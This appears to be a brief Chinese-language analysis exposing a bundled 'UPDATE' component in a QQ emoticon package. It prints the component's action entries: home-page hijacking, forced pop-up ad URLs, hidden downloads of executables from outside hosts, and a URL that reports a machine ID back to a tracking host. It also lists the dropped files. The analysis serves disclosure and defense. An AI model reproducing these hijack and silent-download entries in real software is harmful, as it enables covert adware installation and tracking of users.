千万QQ表情暗藏病毒 温柔背后暗藏秘密

　　对UPDATE的分析

　　显性动作

　　[SetHomePage]               Url=http://www.9991.com/

　　[PopupIE]                Url=http://www.chanet.com.cn/click.cgi?a=6606&d=3086&u=

　　[PopupIE]                Url=http://www.b2b2.net/51gg/index.html

　　[PopupIE]                Url=http://www.7mp3.com

　　[PopupIE]                Url=http://www.600001.com/

　　[PopupIE]                Url=http://www.600005.com/

　　隐性动作

　　[Actions]访问          Url=http://file.qqhelper.com/up/update.dat

　　[Update]升级          Url=http://www.yulexingkong.com/mop/uninstalldrv.exe

　　[Update]          Url=http://www.ha0l23.com/softbaby/uninstalltmp.exe

　　[Update]        　　Url=http://tongji.qqhelper.com/tj/tj?setupid=$(setupid)&mac=$(computerid)&type=$(sendflag)&version=$(version)&exeversion=$(exeversion)&setupdate=$(setupdate)

　　在机器生成以下目录以及文件：

　　C:Program FilesCommon FilesUPDATE

　　update.dat

　　update.exe

　　以上动作都是update.exe干的

　　另外生成一个目录以及文件：

　　C:Program FilesCommon FilesSAND

　　updatesr.ini

　　svr.dat

　　qqfacerclient.exe

　　twunk_8.exe

　　还没有看到具体动作，有潜伏期。